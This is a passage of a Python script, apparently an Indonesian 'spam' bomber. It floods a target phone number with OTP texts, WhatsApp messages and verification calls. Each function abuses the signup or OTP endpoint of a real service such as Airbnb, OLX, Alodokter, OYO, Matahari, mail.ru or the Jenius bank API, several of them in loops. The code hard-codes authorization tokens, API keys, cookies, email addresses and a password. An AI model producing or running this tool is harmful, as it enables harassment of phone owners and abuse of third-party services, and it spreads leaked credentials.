'mobile', 301 | } 302 | hdurl2 = { 303 | 'accept': 'application/json', 304 | 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7&', 305 | 'authorization': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiODZhM2Q0ZmEtZDE3Mi00NDkwLTllOTAtN2MyM2UyZjA1MDA0IiwiaWF0IjoxNTk3NjY3MTgzLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.QBFVwucPwKlxWc43abnzEgjbNFOMHXMsXd3EaYk4tyU', 306 | 'content-length': '103', 307 | 'content-type': 'application/json', 308 | 'origin': 'https://ruparupa.com', 309 | 'referer': 'https://ruparupa.com/verification?page=otp-choices', 310 | 'sec-fetch-mode': 'cors', 311 | 'sec-fetch-site': 'same-site', 312 | 'user-agent': ua.random , 313 | 'user-platform': 'mobile', 314 | 'x-company-name': 'odi', 315 | 'x-frontend-type': 'mobile', 316 | } 317 | dataurl = {"phone":"0"+nom,"email":"abilseno11@gmail.com","action":"register","password":""} 318 | dataurljson = json.dumps(dataurl) 319 | dataurl2 = {"phone":"0"+nom,"action":"register","channel":"chat","email":"","customer_id":"0","is_resend":0} 320 | dataurl2json = json.dumps(dataurl2) 321 | a = ru.post(url,headers=hdurl,data=dataurljson).text 322 | b = ru.post(url2,headers=hdurl2,data=dataurl2json).text 323 | c = json.loads(b) 324 | if c['message'] == 'success': 325 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}RupaRupa{kan} OK") 326 | else: 327 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}RupaRupa{kun} Gagal") 328 | def dekoruma(nom): 329 | data = json.dumps({"phoneNumber":"+62"+nom,"platform":"wa"}) 330 | r = ru.Session() 331 | for x in range(1): 332 | cal = r.post("https://auth.dekoruma.com/api/v1/register/request-otp-phone-number/?format=json",headers={"content-type": "application/json","user-agent":ua.random},data=data).text 333 | if '' in cal: 334 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}Dekoruma{kan} OK") 335 | else: 336 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({im}WA{kan}) {ken}Dekoruma{kun} Gagal") 337 | def jag(nom): 338 | p = ru.get("https://id.jagreward.com/member/verify-mobile/"+nom) 339 | y = json.loads(p.text) 340 | if y["message"] == 'Anda akan menerima sebuah panggilan dari sistem kami. Silakan isi 6 ANGKA TERAKHIR dari nomor telepon dibawah ini.':print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}JagReward{kan} OK") 341 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}JagReward{kun} Gagal") 342 | def airbnb(nom): 343 | head = { 344 | "Host": "www.airbnb.co.id", 345 | "content-length": "83", 346 | "device-memory": "2", 347 | "x-csrf-token": "V4$.airbnb.co.id$N_Kx2ju9iX8$gUBHaO73_UKCj4rDt2rHVNj7zvmZfOYgz38XKc9dzKw=", 348 | "x-csrf-without-token": "1", 349 | "user-agent": ua.random , 350 | "viewport-width": "360", 351 | "content-type": "application/json", 352 | "accept": "application/json, text/javascript, */*; q=0.01", 353 | "cache-control": "no-cache", 354 | "x-requested-with": "XMLHttpRequest", 355 | "origin": "https://www.airbnb.co.id", 356 | "referer": "https://www.airbnb.co.id/signup_login?redirect_url=/help", 357 | } 358 | dat = json.dumps({"phoneNumber": "62"+nom,"workFlow":"GLOBAL_SIGNUP_LOGIN","otpMethod":"TEXT"}) 359 | for x in range(5): 360 | cal = ru.post("https://www.airbnb.co.id/api/v2/phone_one_time_passwords?currency=US&key=d306zoyjsyarp7ifhu67rjxn52tv0t20&locale=id",data=dat,headers=head) 361 | if 'internationalPhoneNumber' in cal.text: 362 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Airbnb{kan} OK") 363 | else: 364 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Airbnb{kun} Gagal") 365 | def kelaspintar(nom): 366 | r = ru.Session() 367 | headers={ 368 | 'x-requested-with':'XMLHttpRequest', 369 | 'User-Agent':ua.random , 370 | 'Referer':'https://www.kelaspintar.id/', 371 | 372 | } 373 | dat = { 374 | "user_mobile":nom, 375 | "otp_type":"send_otp_reg", 376 | "mobile_code":"%2B62", 377 | } 378 | x = r.post('https://www.kelaspintar.id/user/otpverification',data=dat,headers=headers).text 379 | if 'OTP send' in x: 380 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}KelasPintar{kan} OK") 381 | else: 382 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}KelasPintar{kun} Gagal") 383 | def payfazz(nom): 384 | hd = {'Host': 'api.payfazz.com', 'content-length': '17', 'accept': '*/*', 'origin': 'https://www.payfazz.com','user-agent': ua.random, 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', 'referer': 'http://www.payfazz.com/register/BEN6ZF74XL', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} 385 | r = ru.Session() 386 | a = r.post('https://api.payfazz.com/v2/phoneVerifications', headers=hd, data={'phone': '0'+nom}) 387 | if 'phoneVerificationId' in a.text: 388 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}PayFazz{kan} OK") 389 | else: 390 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}PayFazz{kun} Gagal") 391 | def alodokter(nom): 392 | r = ru.Session() 393 | r.headers.update({'referer':'https://www.alodokter.com/login-alodokter'}) 394 | hy = r.get("https://www.alodokter.com/login-alodokter") 395 | tol = bs(hy.text,'html.parser') 396 | token=tol.find('meta',{'name':'csrf-token'})['content'] 397 | hd = { 398 | 'user-agent':ua.random, 399 | 'content-type':'application/json', 400 | 'referer':'https://www.alodokter.com/login-alodokter', 401 | 'accept':'application/json', 402 | 'origin':'https://www.alodokter.com', 403 | 'x-csrf-token':token 404 | } 405 | y = r.post("https://www.alodokter.com/login-with-phone-number",headers=hd,json={"user":{"phone":"0"+nom}}) 406 | if y.json()['status'] == 'success': 407 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Alodokter{kan} OK") 408 | else: 409 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Alodokter{kun} Gagal") 410 | def prosehat(nom): 411 | head={ 412 | 'accept': 'application/json, text/javascript, */*; q=0.01', 413 | 'origin': 'https://www.prosehat.com', 414 | 'x-requested-with': 'XMLHttpRequest', 415 | 'user-agent': ua.random, 416 | 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', 417 | 'referer': 'https://www.prosehat.com/akun', 418 | } 419 | dat={'phone_or_email':'0'+nom,'action':'ajaxverificationsend'} 420 | ng=ru.post('https://www.prosehat.com/wp-admin/admin-ajax.php',data=dat,headers=head) 421 | if "token" in ng.text: 422 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Prosehat{kan} OK") 423 | else: 424 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Prosehat{kun} Gagal") 425 | def theharvest(nom): 426 | hd = { 427 | 'user-agent':ua.random 428 | } 429 | dat = { 430 | 'phone':nom 431 | } 432 | r = ru.Session() 433 | hyu = r.post("https://harvestcakes.com/register",headers=hd,data=dat) 434 | if 'function' in hyu.text: 435 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}TheHarvest{kan} OK") 436 | else: 437 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}TheHarvest{kun} Gagal") 438 | def danacinta(nom): 439 | hd = {'user-agent':ua.random} 440 | for x in range(5): 441 | yu = ru.get("https://api.danacita.co.id/users/send_otp/?mobile_phone=0"+nom, headers=hd) 442 | yu1 = json.loads(yu.text) 443 | if yu1["detail"] == 'Successfully sent OTP SMS': 444 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}DanaCinta{kan} OK") 445 | else: 446 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}DanaCinta{kun} Gagal") 447 | def redbus(nom): 448 | for i in range(2): 449 | kil = ru.get("https://m.redbus.id/api/getOtp?number="+nom+"&cc=62&whatsAppOpted=true").text 450 | if 'OTP' in kil: 451 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RedBus{kan} OK") 452 | else: 453 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RedBus{kun} Gagal") 454 | def olx(nom): 455 | head = { 456 | "accept": "*/*", 457 | "x-newrelic-id": "VQMGU1ZVDxABU1lbBgMDUlI=", 458 | "x-panamera-fingerprint": "83b09e49653c37fb4dc38423d82d74d7#1597271158063", 459 | "user-agent": ua.random , 460 | "content-type": "application/json", 461 | } 462 | dat = json.dumps({ 463 | "grantType": "retry", 464 | "method": "sms", 465 | "phone": "+62"+nom, 466 | "language": "id" 467 | }) 468 | r = ru.Session() 469 | for x in range(5): 470 | eek = r.post("https://www.olx.co.id/api/auth/authenticate",data=dat,headers=head).text 471 | if 'status' in eek: 472 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OLX{kan} OK") 473 | else: 474 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OLX{kun} Gagal") 475 | def rupiahcepat(nom): 476 | hd = { 477 | "accept": "text/html, application/xhtml+xml, application/json, */*", 478 | "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", 479 | "content-length": "166", 480 | "content-type": "application/x-www-form-urlencoded; charset=UTF-8", 481 | "origin": "https://h5.rupiahcepatweb.com", 482 | "referer": "https://h5.rupiahcepatweb.com/dua2/pages/openPacket/openPacket.html?activityId=11&invite=200219190100215723", 483 | "sec-fetch-dest": "empty", 484 | "sec-fetch-mode": "cors", 485 | "sec-fetch-site": "same-site", 486 | "user-agent": ua.random 487 | } 488 | url = 'https://apiservice.rupiahcepatweb.com/webapi/v1/request_login_register_auth_code' 489 | dit = {"mobile":"0"+nom,"noise":"1583590641573155574","request_time":"158359064157312","access_token":"11111"} 490 | dat = json.dumps(dit) 491 | r = ru.Session() 492 | a = r.post(url,headers=hd,data={"data":dat}).text 493 | b = json.loads(a)["code"] 494 | if b == 0:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RupiahCepat{kan} OK") 495 | else:print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}RupiahCepat{kun} Gagal") 496 | def matahari(nom): 497 | r = ru.Session() 498 | hd = { 499 | 'Host':'thor.matahari.com', 500 | 'content-length':'235', 501 | 'modulecode':'MR', 502 | 'origin':'https://www.matahari.com', 503 | 'authorization':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJtb2R1bGVDb2RlIjoiTVIiLCJ1c2VyVHlwZSI6IjEiLCJleHAiOjE1NDM2NjA5MDYsInVzZXJOYW1lIjoiS0Zpb2ViMWhveU9FRDBERWQiLCJ1c2VySWQiOiJwcm9kdWN0aW9uNDYxOTAyNjQ0NSIsImp0aSI6IjFmMjI3NzE5LTY4OTMtNDhjYy1iNmQzLWY2OTkzMWMzMDIwYSIsImlhdCI6MTU0MzY1NzMwNn0.6XdrUX9QzD0Ld2eOJep7QnSwVjfFyjq-v7P4w0lGG9M', 504 | 'content-type':'application/json', 505 | 'accept':'application/json, text/plain, */*', 506 | 'clientid':'mds_mweb', 507 | 'user-agent':ua.random , 508 | 'sessionid':'1599562523019', 509 | 'save-data':'on', 510 | 'referer':'https://www.matahari.com/register', 511 | 'accept-encoding':'gzip, deflate, br', 512 | 'accept-language':'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7' 513 | } 514 | dat = {"emailAddress":"abilseno11@gmail.com","firstName":"Bapak","lastName":"Gile","mobileNumber":"0"+nom,"mccCardNumber":"","password":"savagetro123","referralCode":"","dateOfBirth":"03-01-1999","gender":"Male","registrationType":"N"} 515 | datj = json.dumps(dat) 516 | for x in range(5): 517 | yu = r.post("https://thor.matahari.com/MatahariMobileAPI/register",headers=hd,data=datj) 518 | if 'Success' in yu.text: 519 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Matahari{kan} OK") 520 | else: 521 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Matahari{kun} Gagal") 522 | def iviru(nom): 523 | r = ru.Session() 524 | hd = {'user-agent':ua.random} 525 | dat = {'phone':'62'+nom} 526 | for x in range(2): 527 | hlo = r.post("https://api.ivi.ru/mobileapi/user/register/phone/v6",headers=hd,data=dat) 528 | if 'error' in hlo.text: 529 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ivi.ru{kun} Gagal") 530 | else: 531 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}ivi.ru{kan} OK") 532 | def beltelecom(nom): 533 | r = ru.Session() 534 | hd = {'user-agent':ua.random} 535 | dat = {'phone':'62'+nom} 536 | ho = r.post("https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru",headers=hd,data=dat) 537 | if ('error' in ho.text) or ('Too many' in ho.text): 538 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Beltelecom{kun} Gagal") 539 | else: 540 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Beltelecom{kan} OK") 541 | def mailru(nom): 542 | r = ru.Session() 543 | hd = { 544 | 'user-agent':ua.random , 545 | 'Content-Type':'application/json', 546 | } 547 | dat = json.dumps({ 548 | 'phone':'62'+nom, 549 | 'api':2, 550 | 'email':'akuntesnuyul@gmail.com', 551 | 'x-email':'akunnuyul64@gmail.com', 552 | }) 553 | yu = r.post("https://cloud.mail.ru/api/v2/notify/applink",headers=hd,data=dat) 554 | if 'error' in yu.text: 555 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}MailRu{kun} Gagal") 556 | else: 557 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}MailRu{kan} OK") 558 | def youla(nom): 559 | r = ru.Session() 560 | hd = {'user-agent':ua.random} 561 | dat = {'phone':'62'+nom} 562 | yu = r.post("https://youla.ru/web-api/auth/request_code",headers=hd,data=dat) 563 | if 'error' in yu.text: 564 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Youla{kun} Gagal") 565 | else: 566 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}Youla{kan} OK") 567 | def oyo(nom): 568 | r = ru.Session() 569 | hd = { 570 | "Host": "identity-gateway.oyorooms.com", 571 | "consumer_host": "https://www.oyorooms.com", 572 | "accept-language": "id", 573 | "access_token": "SFI4TER1WVRTakRUenYtalpLb0w6VnhrNGVLUVlBTE5TcUFVZFpBSnc=", 574 | "User-Agent": "Mozilla/5.0 (Linux; Android 10; SM-A107F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36", 575 | "Content-Type": "application/json", 576 | "accept": "*/*", 577 | "origin": "https://www.oyorooms.com", 578 | "referer": "https://www.oyorooms.com/login", 579 | "Accept-Encoding": "gzip, deflate, br", 580 | } 581 | dat=json.dumps({"phone":nom,"country_code":"+62","country_iso_code":"ID","nod":"4","send_otp":"true","devise_role":"Consumer_Guest"}) 582 | y = r.post("https://identity-gateway.oyorooms.com/identity/api/v1/otp/generate_by_phone?locale=id",headers=hd,data=dat) 583 | y1 = json.loads(y.text)["otp_sent"] 584 | if y1 == True: 585 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OyoHotels{kan} OK") 586 | else: 587 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({kun}SMS{kan}) {ken}OyoHotels{kun} Gagal") 588 | def jenius(nom): 589 | r = ru.Session() 590 | hd = { 591 | "accept": "*/*", 592 | "btpn-apikey": "f73eb34d-5bf3-42c5-b76e-271448c2e87d", 593 | "version": "2.36.1-7565", 594 | "accept-language": "id", 595 | "x-request-id": "d7ba0ec4-ebad-4afd-ab12-62ce331379be", 596 | "Content-Type": "application/json", 597 | "Host": "api.btpn.com", 598 | "Connection": "Keep-Alive", 599 | "Accept-Encoding": "gzip", 600 | "Cookie": "c6bc80518877dd97cd71fa6f90ea6a0a=24058b87eb5dac1ac1744de9babd1607", 601 | "User-Agent": "okhttp/3.12.1" 602 | } 603 | dat={"query":"mutation registerPhone($phone: String!, $language: Language!) {\n registerPhone(input: {phone: $phone, language: $language}) {\n authId\n tokenId\n __typename\n }\n}\n","variables":{"phone":nom,"language":"id"},"operationName":"registerPhone"} 604 | udh = r.post("https://api.btpn.com/jenius",headers=hd,data=dat) 605 | print (udh.text) 606 | def vadershop(nom): 607 | r = ru.Session() 608 | hd = {'user-agent':'Mozilla/5.0 (Linux; Android 9; vivo 1902) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36'} 609 | dat = json.dumps(['62'+nom,'Vader Shop']) 610 | y = r.post("https://api.vader-api.com/account/sendmobilecodeasync.json",headers=hd,data=dat).text 611 | if ('Gagal' in y) or ('hari' in y): 612 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}VaderShop{kun} Gagal") 613 | else: 614 | print (f"{ken}[{kun}•{ken}] {ken}Spam {kan}({anj}CALL{kan}) {ken}VaderShop{kan} OK") 615 | try: 616 | os.system("clear") 617 | bnr() 618 | menu=["Mulai","Grup WhatsApp","Info Tools","Update"] 619 | print (f" {tot}MENU{sop} ") 620 | for i in range(len(menu)): 621 | print (f"{ken} [0"+str(i+1).ljust(1)+"] \033[31m"+menu[i]) 622 | main.main() 623 | except ru.ConnectionError:print (f"{ken}[{kun}•{ken}] {kun}Koneksi Error") 624 | except KeyboardInterrupt:print (f"{ken}[{kun}•{ken}] {kun}Program dihentikkan paksa") 625 | --------------------------------------------------------------------------------